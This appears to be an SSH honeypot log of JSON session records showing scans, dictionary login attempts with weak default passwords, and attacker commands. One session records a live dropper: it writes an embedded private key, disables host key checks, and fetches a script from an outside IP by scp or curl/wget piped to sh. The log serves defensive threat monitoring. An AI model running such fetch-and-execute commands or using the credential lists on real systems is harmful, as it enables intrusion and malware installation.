Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2943621eda8e",
"src_ip": "193.32.162.84",
"start_time": "2026-08-14T23:37:31.109160Z",
"end_time": "2026-08-14T23:37:31.275687Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "aabab8b65a4a",
"src_ip": "84.236.99.159",
"start_time": "2026-08-14T23:35:59.056962Z",
"end_time": "2026-08-14T23:35:59.060231Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8b6f8c54f790",
"src_ip": "84.236.99.159",
"start_time": "2026-08-14T23:35:32.326562Z",
"end_time": "2026-08-14T23:35:32.329932Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / shakti
{
"id": "35a28b12bdd4",
"src_ip": "2.57.121.25",
"start_time": "2026-08-14T23:31:34.987300Z",
"end_time": "2026-08-14T23:31:41.004261Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "shakti"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "7e7491f0277d",
"src_ip": "111.92.134.35",
"start_time": "2026-08-14T23:29:59.553225Z",
"end_time": "2026-08-14T23:29:59.556530Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4b9f9ccfbb24",
"src_ip": "130.12.180.51",
"start_time": "2026-08-14T23:29:02.223465Z",
"end_time": "2026-08-14T23:29:04.531205Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [
"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
],
"detailed_commands": [
{
"cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 120,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "76c5a279f1d5",
"src_ip": "192.161.60.72",
"start_time": "2026-08-14T23:29:00.126384Z",
"end_time": "2026-08-14T23:29:00.705652Z",
"duration": "0.6",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "963e5a0d24d3",
"src_ip": "88.102.144.243",
"start_time": "2026-08-14T23:22:53.370080Z",
"end_time": "2026-08-14T23:22:53.373349Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0e4fd2e16794",
"src_ip": "88.102.144.243",
"start_time": "2026-08-14T23:22:06.317589Z",
"end_time": "2026-08-14T23:22:06.322399Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / 123321
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "caebe45b8266",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T23:20:58.213237Z",
"end_time": "2026-08-14T23:21:43.636590Z",
"duration": "45.4",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123321"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "7629a70eeca2",
"src_ip": "185.180.141.10",
"start_time": "2026-08-14T23:20:08.946887Z",
"end_time": "2026-08-14T23:20:16.946171Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "864cef7e4d8ad71d4fb1aadfcf0a3189",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "74d49a914d05",
"src_ip": "102.205.237.244",
"start_time": "2026-08-14T23:09:36.659570Z",
"end_time": "2026-08-14T23:09:36.662944Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "9587edbe54fd",
"src_ip": "176.53.159.196",
"start_time": "2026-08-14T23:04:43.504897Z",
"end_time": "2026-08-14T23:04:44.675086Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ffc5306ab17f",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T22:58:45.978039Z",
"end_time": "2026-08-14T22:59:32.097013Z",
"duration": "46.1",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123456"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d12c7df59f92",
"src_ip": "37.111.56.24",
"start_time": "2026-08-14T22:50:57.713281Z",
"end_time": "2026-08-14T22:50:57.744718Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: hayle
{
"id": "9c6105df593c",
"src_ip": "2.57.121.112",
"start_time": "2026-08-14T22:40:09.185635Z",
"end_time": "2026-08-14T22:40:15.712887Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "hayle",
"pass": "hayle"
},
{
"user": "hayle",
"pass": "hayle1"
},
{
"user": "hayle",
"pass": "hayle123"
},
{
"user": "hayle",
"pass": "hayle1234"
},
{
"user": "hayle",
"pass": "hayle12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "5eb19429629c",
"src_ip": "3.131.220.121",
"start_time": "2026-08-14T22:38:29.919166Z",
"end_time": "2026-08-14T22:38:31.224338Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / 12345
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8fb11c2e92a2",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T22:36:25.086120Z",
"end_time": "2026-08-14T22:37:10.391599Z",
"duration": "45.3",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "12345"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b268cd2e42bd",
"src_ip": "3.131.220.121",
"start_time": "2026-08-14T22:35:20.366138Z",
"end_time": "2026-08-14T22:35:20.371653Z",
"duration": "0.0",
"version": "",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "fb835b250a0b",
"src_ip": "193.46.255.86",
"start_time": "2026-08-14T22:35:12.154861Z",
"end_time": "2026-08-14T22:35:18.171741Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "03dd6f7fb81c",
"src_ip": "205.210.31.149",
"start_time": "2026-08-14T22:24:30.743597Z",
"end_time": "2026-08-14T22:24:34.379931Z",
"duration": "3.6",
"version": "SSH-2.0-ZGrab ZGrab SSH Survey",
"hassh": "dd9bcf093c355da7000132131cb36fd0",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "fac4fdbace69",
"src_ip": "176.53.159.196",
"start_time": "2026-08-14T22:22:52.727082Z",
"end_time": "2026-08-14T22:22:53.992614Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "70e1131d19a8",
"src_ip": "200.123.52.78",
"start_time": "2026-08-14T22:22:13.940967Z",
"end_time": "2026-08-14T22:22:13.946258Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / shroom
{
"id": "ded976bc3954",
"src_ip": "2.57.121.25",
"start_time": "2026-08-14T22:17:26.865604Z",
"end_time": "2026-08-14T22:17:32.887967Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "shroom"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "acdfe149c5dc",
"src_ip": "87.165.104.4",
"start_time": "2026-08-14T22:15:13.057744Z",
"end_time": "2026-08-14T22:15:13.061140Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "7682a2b18263",
"src_ip": "87.165.104.4",
"start_time": "2026-08-14T22:14:06.244556Z",
"end_time": "2026-08-14T22:14:06.247783Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / 1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e7170f2d6bdd",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T22:14:01.703531Z",
"end_time": "2026-08-14T22:14:47.013146Z",
"duration": "45.3",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1234"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hamad
{
"id": "c1ff0dae0b72",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T22:10:06.812518Z",
"end_time": "2026-08-14T22:10:08.651040Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "hamad",
"pass": "hamad"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "87eeb134b083",
"src_ip": "192.168.0.1",
"start_time": "2026-08-14T22:07:54.754256Z",
"end_time": "2026-08-14T22:07:54.766025Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4f58c9ac4b2d",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T22:07:06.135391Z",
"end_time": "2026-08-14T22:07:07.379110Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin@123"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: monitor
{
"id": "8d0a77c0adca",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T22:04:08.726517Z",
"end_time": "2026-08-14T22:04:10.564780Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "monitor",
"pass": "monitor"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / RDXCSD*
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e3585eb024ee",
"src_ip": "115.68.220.142",
"start_time": "2026-08-14T22:03:19.673422Z",
"end_time": "2026-08-14T22:03:20.878028Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "RDXCSD*"
},
"commands": [
"hostname"
],
"detailed_commands": [
{
"cmd": "hostname",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "4df575c10b54",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T22:01:09.850630Z",
"end_time": "2026-08-14T22:01:11.694745Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bitrix",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: data
{
"id": "997b213cdf93",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:58:20.708932Z",
"end_time": "2026-08-14T21:58:22.551821Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "data",
"pass": "data"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "9bc0eeca5e4d",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:55:29.015438Z",
"end_time": "2026-08-14T21:55:30.857421Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bitrix",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: citrix
{
"id": "6c30ff83ac7a",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:52:40.172643Z",
"end_time": "2026-08-14T21:52:42.002949Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "citrix",
"pass": "citrix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c920e1deffd2",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T21:51:30.958799Z",
"end_time": "2026-08-14T21:52:19.393949Z",
"duration": "48.4",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "dcf75de5c671",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:49:40.440312Z",
"end_time": "2026-08-14T21:49:42.283129Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bitrix",
"pass": "bitrix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / P2ss0rd
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e0daeee6a508",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:46:44.137540Z",
"end_time": "2026-08-14T21:46:45.378618Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P2ss0rd"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: inspur
{
"id": "f92c0e4f1bc7",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:43:52.216334Z",
"end_time": "2026-08-14T21:43:54.057441Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "inspur",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: inspur
{
"id": "8268e0afd04e",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:41:06.700978Z",
"end_time": "2026-08-14T21:41:08.542276Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "inspur",
"pass": "inspur"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "4effb1112b60",
"src_ip": "112.132.215.159",
"start_time": "2026-08-14T21:38:28.553002Z",
"end_time": "2026-08-14T21:40:28.557661Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "36da261f8ff3",
"src_ip": "112.132.215.159",
"start_time": "2026-08-14T21:38:28.149681Z",
"end_time": "2026-08-14T21:38:28.342603Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / root@1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "172dfcc453e6",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:38:19.762459Z",
"end_time": "2026-08-14T21:38:21.000652Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root@1234"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2edf9c3516c3",
"src_ip": "181.95.183.196",
"start_time": "2026-08-14T21:37:47.585144Z",
"end_time": "2026-08-14T21:37:47.588601Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hummingbot
{
"id": "f249ac574e4a",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:35:26.497097Z",
"end_time": "2026-08-14T21:35:28.338243Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "hummingbot",
"pass": "hummingbot"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "137eecbb9280",
"src_ip": "77.90.185.16",
"start_time": "2026-08-14T21:34:32.901602Z",
"end_time": "2026-08-14T21:34:33.071844Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hummingbot1
{
"id": "c0701654965a",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:32:34.700921Z",
"end_time": "2026-08-14T21:32:36.542684Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "hummingbot1",
"pass": "hummingbot1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: broker
{
"id": "05738334f566",
"src_ip": "2.57.122.53",
"start_time": "2026-08-14T21:29:40.732954Z",
"end_time": "2026-08-14T21:29:42.577565Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "broker",
"pass": "broker"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 12
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "f4d83c97815f",
"src_ip": "45.142.193.164",
"start_time": "2026-08-14T21:29:19.583080Z",
"end_time": "2026-08-14T21:30:05.814312Z",
"duration": "46.2",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "12"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}